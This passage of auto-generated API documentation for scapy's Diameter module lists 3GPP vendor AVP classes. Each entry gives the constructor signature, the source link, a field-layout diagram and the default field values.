+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_2512                        


AVP_10415_2512 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_2513(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L3279-L3284]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_2513                        


AVP_10415_2513 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_2518(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L3287-L3300]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_2518                        


AVP_10415_2518 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_2519(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L3303-L3306]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_2519                        


AVP_10415_2519 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_2523(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L3309-L3313]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_2523                        


AVP_10415_2523 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_2538(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L3316-L3319]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_2538                        


AVP_10415_2538 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_2550(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L3322-L3326]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_2550                        


AVP_10415_2550 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_2551(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L3329-L3333]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_2551                        


AVP_10415_2551 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_2602(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L3336-L3340]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_2602                        


AVP_10415_2602 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_2604(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L3343-L3348]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_2604                        


AVP_10415_2604 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_2605(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L3351-L3356]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_2605                        


AVP_10415_2605 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_2702(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L3359-L3364]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_2702                        


AVP_10415_2702 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_2704(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L3367-L3372]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_2704                        


AVP_10415_2704 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_2706(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L3375-L3379]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_2706                        


AVP_10415_2706 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_2707(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L3382-L3386]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_2707                        


AVP_10415_2707 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_2710(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L3389-L3392]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_2710                        


AVP_10415_2710 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_2717(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L3395-L3399]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_2717                        


AVP_10415_2717 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_2809(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L3402-L3406]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_2809                        


AVP_10415_2809 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_2811(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L3409-L3413]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_2811                        


AVP_10415_2811 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_2904(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L3416-L3419]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_2904                        


AVP_10415_2904 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
